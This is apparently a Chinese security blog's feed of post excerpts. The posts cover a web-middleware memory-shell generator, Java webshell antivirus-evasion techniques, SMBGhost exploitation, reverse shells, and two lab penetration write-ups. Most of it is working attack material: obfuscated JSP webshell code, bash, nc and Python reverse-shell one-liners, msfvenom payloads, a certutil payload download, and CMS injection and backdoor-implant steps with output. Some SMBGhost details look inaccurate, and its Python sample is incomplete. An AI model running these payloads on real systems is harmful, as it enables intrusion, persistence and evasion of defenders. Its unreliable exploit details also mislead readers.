泷羽Sec - 网络安全
type: channel
link: https://longyusec.com/tag/%25e7%25bd%2591%25e7%25bb%259c%25e5%25ae%2589%25e5%2585%25a8/
items: MemShellParty 一款主流 Web 中间件内存马生成工具
items: 30种Java一句话木马免杀方法
items: Windows CVE-2020-0796 SMBGhost提权实战教程
items: Linux反弹Shell实战：Bash/NC/Python/PHP实操指南
items: 【域渗透】cyberstrikelab-lab8
items: 【域渗透】cyberstrikelab-lab6

MemShellParty 一款主流 Web 中间件内存马生成工具
type: item
date: 2026-04-30T20:55:44+08:00
description: 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法，使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，专为安全研究人员与红队攻防人员打造，核心目标是简化内存马载荷的生成流程，大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架，JDK 版本适配范围覆盖 JDK6 ~ JDK21，可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架，搭建了完整的自动化测试矩阵，严格保障每一次生成的载荷都具备极高的可用性与稳定性，最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略，MemShellParty 实现了内存马体积的大幅缩减：常规内存马体积相较于 JMG 等传统工具缩小 30%，Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响，即使同时注入十几个不同类型的内存马，也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力，系统可自动适配 Java 模块限制绕过配置，动态生成最优攻击载荷，实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成；同时提供高度灵活的自定义内存马上传能力，可将任意定制化载荷融入 MemShellParty 的生成体系，打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应，探测所得的服务类型即为可生成对应内存马的服务类型（非中间件原生类型，例如 Apusic10 探测结果为 GlassFish，因其基于 GlassFish 进行二次开发）。在线尝鲜提示：仅限尝鲜使用，对于公网暴露的非官方服务请谨慎使用，避免生成的内存马被植入后门。 正式稳定版（master 分支）：https://party.mem.mk ，每次 Release 都会自动部署最新镜像。 开发预览版（dev 分支）：https://dev-party.mem.mk ，可抢先体验正在开发的新功能。 本地部署（推荐）适合内网环境或本地测试使用，可通过 Docker 一键启动服务，部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源，拉取最新镜像 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源，拉取最新镜像 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化，南大 Github Container Registry 镜像源 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest

30种Java一句话木马免杀方法
type: item
date: 2026-04-16T15:48:46+08:00
description: 前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养，严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为，任何未授权在他人Web容器/服务器中植入恶意代码的行为，都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试，使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心，是通过可控的用户输入，调用Java代码执行/系统命令执行机制，实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀，核心围绕5个维度展开： 静态特征匹配：检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合； 语义分析：识别「用户可控输入→反射调用→命令执行」的恶意执行链路； 字节码检测：扫描JSP编译后的Servlet字节码，识别恶意类/方法调用； 行为检测：运行时检测动态类加载、进程创建、文件读写等恶意行为； 沙箱动态分析：将JSP/Class放入沙箱运行，捕获恶意行为特征。 所有免杀方法的核心本质，都是破坏WAF的检测维度：要么拆分/隐藏敏感类名、方法名，要么打乱执行链路，要么利用Java合法语法/业务逻辑伪装恶意行为，要么直接操作字节码隐藏特征，最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本（兼容Java 11/17），覆盖Tomcat、Jetty、WebLogic等主流Web容器，按「新手入门→进阶混淆→极致免杀」的梯度排序，每一种方法均标注核心原理、实战代码、适配环境与避坑提示，拿来即可落地。30种Java一句话木马免杀方法第一类：基础关键词拆分与字符串变形免杀（方法1-5）核心逻辑：把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段，运行时再拼接还原，直接破坏WAF的连续字符串特征匹配，新手零门槛上手。方法1：字符串简单拼接免杀免杀原理：将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段，运行时拼接还原，绕过WAF对连续关键词的匹配。 实战代码（JSP形式）：<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接线性拼接，可插入无关字符串再替换，例如String cls = "Run#time"; cls = cls.replace("#", "");，免杀效果更强。方法2：字符串逆序免杀免杀原理：把敏感类名、方法名逆序处理，运行时通过StringBuilder.reverse()还原，静态扫描无法直接匹配到正向的敏感关键词。 实战代码（JSP形式）：<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合Base64编码逆序，双重变形绕过深度特征匹配。方法…

Windows CVE-2020-0796 SMBGhost提权实战教程
type: item
date: 2026-04-15T22:27:28+08:00
description: 法律责任声明：本文内容仅用于网络安全技术学习与研究，请不要在未获得明确授权的情况下使用文中方法对非本人所有的系统进行操作，任何非法使用造成的法律责任由使用者自行承担。一、漏洞背景介绍CVE-2020-0796是2020年3月曝光的Windows SMBv3.1.1协议远程代码执行漏洞，业内也将其称为SMBGhost漏洞。该漏洞源于SMB协议在处理压缩数据包时存在内存破坏缺陷，攻击者可以通过构造特制的SMB数据包，在目标系统上远程执行任意代码，甚至直接获取系统最高权限。受影响的系统包括Windows 10 1903/1909、Windows Server 1903/1909等未安装对应补丁的版本。我在第一次接触这个漏洞的实战时，曾因为对靶机环境不熟悉走了不少弯路，接下来会结合实际操作流程和遇到的问题，完整还原整个实战过程。二、实验环境准备本次实战需要搭建两个互通的测试环境： 1、攻击机：使用Kali Linux 2023版，提前安装好scapy、metasploit框架等工具 2、靶机：使用未打KB4551762补丁的Windows 10 1903版本，确保靶机开启SMB服务并开放445端口 3、网络环境：攻击机和靶机处于同一局域网，或者通过端口映射实现外网互通实操小提示：初次测试时我忘记关闭靶机自带的防火墙，导致扫描时一直无法检测到445端口，后来临时关闭靶机防火墙后才解决问题。请不要忽略防火墙配置对测试的影响。三、漏洞检测步骤在正式利用漏洞前，需要先确认靶机是否存在该漏洞，常用的检测方式有两种： 1、使用Nmap脚本检测 首先更新Nmap的SMB脚本库，避免出现脚本不兼容的问题，执行命令：sudo apt update && sudo apt install nmap-scripts 然后使用专用脚本扫描靶机的445端口：nmap -p 445 --script smb-v3-compression 靶机IP地址 如果扫描结果中出现VULNERABLE: SMBv3 compression enabled的提示，则说明靶机存在SMBGhost漏洞。我第一次使用这个命令时，因为脚本库未更新，一直返回无结果，更新后才正常识别到漏洞。2、使用Metasploit辅助模块检测 启动Metasploit框架后，加载SMB扫描模块：msfconsole use auxiliary/scanner/smb/smb2 set RHOSTS 靶机IP地址 run 如果模块返回The target is vulnerable to CVE-2020-0796，则可以确认漏洞存在。四、漏洞利用与提权实战本次实战我们使用Metasploit的官方exp模块进行提权操作，步骤如下： 1、加载SMBGhost漏洞利用模块use exploit/windows/smb/smbghost_rce 2、配置攻击参数# 设置靶机IP地址 set RHOSTS 靶机IP地址 # 设置攻击机监听的本地IP地址 set LHOST 攻击机局域网IP地址 # 设置监听端口，建议使用非默认端口避免被拦截 set LPORT 4444 3、启动监听并执行exprun 如果执行成功，你会看到弹出一个 Meterpreter 会话，输入getuid命令可以看到当前会话的用户权限为NT AUTHORITY\SYSTEM，也就是直接获取了系统最高权限，完成提权操作。实操踩坑记录：有一次执行exp后一直出现连接超时，排查后发现是靶机的SMB服务被临时重启过，重新确认445端口开放后才恢复正常。另外部分精简版的Windows 10会禁用SMBv3压缩，这类靶机无法触发该漏洞。如果不想使用Metasploit，也可以使用公开的Python exp脚本进行测试，以下是简化的示例代码（仅作学习参考）：from scapy.all import IP, TCP, raw import sys def smbghost_exploit(target_ip): # 构造TCP SYN包建立SMB连接基础 syn_pkt = IP(dst=target_ip)/TCP(dport=445, flags="S") resp = sr1(syn_pkt, timeout=2, verbose=0) if not resp: print("无法连接到靶机445端口") return # 后续可根据协议规范构造恶意SMB压缩数据包 print(f"已完成与{target_ip}的SMB基础连接") if __name__ == "__main__": if len(sys.argv) != 2: print(f"使用方法: {sys.argv[0]} <靶机IP地址>") sys.exit(1) smbg…

Linux反弹Shell实战：Bash/NC/Python/PHP实操指南
type: item
date: 2026-04-14T19:56:27+08:00
description: 某企业的测试服务器因为安全策略限制了所有入站端口，运维工程师小李需要远程排查服务器上的日志问题，直接通过SSH连接被防火墙拦截。这时候，反弹Shell就成了他的解决办法——通过让目标主机主动发起连接，绕过入站限制，建立远程控制会话。本文就结合Bash、NC、Python、PHP四种常用工具，详细讲解反弹Shell的实战操作和注意事项。反弹Shell的基本原理反弹Shell和正向连接的主要区别在于连接发起方：正向连接是本地机器主动连接目标主机的开放端口，而反弹Shell则是目标主机主动连接本地监听的端口，将Shell会话传输过来。这种方式可以规避目标主机的入站防火墙限制，在很多受限环境中非常实用。 操作的基本流程分为两步： 1、在本地机器上开启一个端口监听，等待目标主机的连接 2、在目标主机上执行反弹命令，让主机主动连接本地监听端口，完成Shell会话的传递Bash反弹Shell实战Bash是绝大多数Linux发行版自带的Shell工具，不需要额外安装，是最常用的反弹Shell手段之一。操作步骤首先在本地机器上开启端口监听，这里我们选择4444端口（1024以上的端口无需管理员权限）：nc -lvnp 4444 参数解释：-l表示开启监听模式，-v显示详细连接信息，-n不进行域名解析，-p指定监听端口。 然后在目标主机上执行反弹命令：bash -i >& /dev/tcp/你的本地IP/4444 0>&1 命令拆解： bash -i：启动交互式Shell，支持用户输入交互命令 & /dev/tcp/你的本地IP/4444：将标准输出和标准错误输出重定向到TCP连接中 0>&1：将标准输入重定向到标准输出对应的连接，实现双向通信 如果目标主机的Bash路径不是默认的/bin/bash，可以替换为完整路径，比如/usr/bin/bash -i ...。 常见变体如果目标主机使用的是轻量系统，比如Alpine Linux，默认没有安装Bash，可以用sh替代：sh -i >& /dev/tcp/你的本地IP/4444 0>&1 另外还可以使用UDP协议的反弹命令，适合部分限制了TCP的场景：bash -i >& /dev/udp/你的本地IP/4444 0>&1 NC反弹Shell实战NC也就是Netcat，被称为“网络瑞士军刀”，支持多种网络操作，也是反弹Shell的常用工具。不过需要注意不同版本的NC功能有差异：GNU版本的NC支持-e参数，而BusyBox编译的精简版本则没有该参数。GNU NC实战（带-e参数）本地监听命令和之前一致：nc -lvnp 4444 目标主机上执行反弹命令：nc 你的本地IP 4444 -e /bin/bash 这里的-e参数表示将NC连接的输入输出重定向到后面的bash程序，实现Shell会话的传递。精简版NC（无-e参数）实战很多嵌入式设备或者轻量系统使用的是BusyBox的NC，没有-e参数，这时候可以通过命名管道实现双向通信：mknod backpipe p && nc 你的本地IP 4444 0<backpipe | /bin/bash 1>backpipe 命令拆解： 1、mknod backpipe p：创建一个命名管道backpipe，用于传递数据 2、nc 你的本地IP 4444 0<backpipe：将管道的内容作为NC的输入 3、| /bin/bash 1>backpipe：将bash的标准输出重定向到管道中，实现双向数据流转Python反弹Shell实战Python几乎预装在所有现代Linux发行版中，而且语法简洁，反弹Shell的命令兼容性很强，适合大多数有Python环境的目标主机。基础反弹命令本地监听依旧使用nc -lvnp 4444，目标主机执行以下命令：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的本地IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 命令拆解： 1、导入socket、subprocess、os三个模块，分别用于网络连接、执行系统命令和文件描述符操作 2、创建TCP socket连接，连接到本地监听端口 3、使用os.dup2将socket的文件描述符替换为标准输入、输出和错误输出，让bash的所有输入输出都通过socket传输 4、调用subprocess.call启动交互式bash Shell 如果目标…

【域渗透】cyberstrikelab-lab8
type: item
date: 2025-12-13T13:25:15+08:00
description: cyberstrikelab-lab8ZZZCMS目录扫描到后台地址admin弱口令 admin / admin123456发现版本信息 V1.6.1 zzzcms漏洞利用方法https://xz.aliyun.com/news/4103修改内容为{if:assert($_request[phpinfo()])}phpinfo();{end if} 访问你修改的这个页面http://172.50.12.33/search/ 一句话连接不上，那就执行系统命令，找到flag1{if:assert($_request[system($_POST[a])])};{end if} 本机开启http服务生成木马msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 从本机下载木马certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 172.50.12.33; set LPORT 4444; exploit -j -z" 执行木马，上线getsystem提权meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 上传fscanupload /data/windows_atk/scan_info/fscan.exe 却没有发现另外一台主机C:\phpstudy_pro\WWW\search>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::b476:ff8c:347:ef73%5 IPv4 Address. . . . . . . . . . . : 172.50.12.33 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.50.12.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::47e:778d:c27:a958%4 IPv4 Address. . . . . . . . . . . : 10.5.5.2 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.5.5.1 Tunnel adapter Reusable ISATAP Interface {539A3334-B0ED-49F4-B694-5F6E0A7AB805}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{4A835BE8-816A-4266-AF10-0ADC1C46A06E}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _…

【域渗透】cyberstrikelab-lab6
type: item
date: 2025-12-13T13:21:41+08:00
description: cyberstrikelab-lab6第一台目录扫描到administrator后台地址apt install joomscan joomscan -u http://192.168.10.10/ # 扫出结果Joomla版本3.4.6 [+] Detecting Joomla Version [++] Joomla 3.4.6 exp获取searchsploit Joomla 3.4.6 searchsploit -m 47524 使用┌──(root㉿kali)-[/data/demo] └─# python 47465.py -t http://192.168.10.10/ -e [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Vulnerable [*] Getting Session Cookie .. [*] Getting CSRF Token .. [*] Sending request .. [+] Backdoor implanted, eval your code at http://192.168.10.10//configuration.php in a POST with khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm [*] Now it's time to reverse, trying with a system + perl 得到密码khacpsczesvgcaeqwadfazwmljdlcqqrkqezpuyedrwcsfjqqm蚁剑连接生成马，蚁剑上传msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe kalimsfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 获取正向shell，蚁剑执行exeshell.exe 得到第一台机器shell这台机器没有第二章网卡C:\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::71b1:e5e:d78d:3036%7 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Tunnel adapter isatap.{99805FC6-03F4-4415-8F77-D4C935988DCA}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\WWW>fscan.exe -h 192.168.10.10/24 fscan.exe -h 192.168.10.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.10.10 is alive (icmp) Target 192.168.10.20 is alive (icmp) Target 192.168.10.233 is alive [*] Icmp alive hosts len is: 3 192.168.10.233:8080 open 192.168.10.20:7001 open 192.168.10.10:3306 open 192.168.10.20:…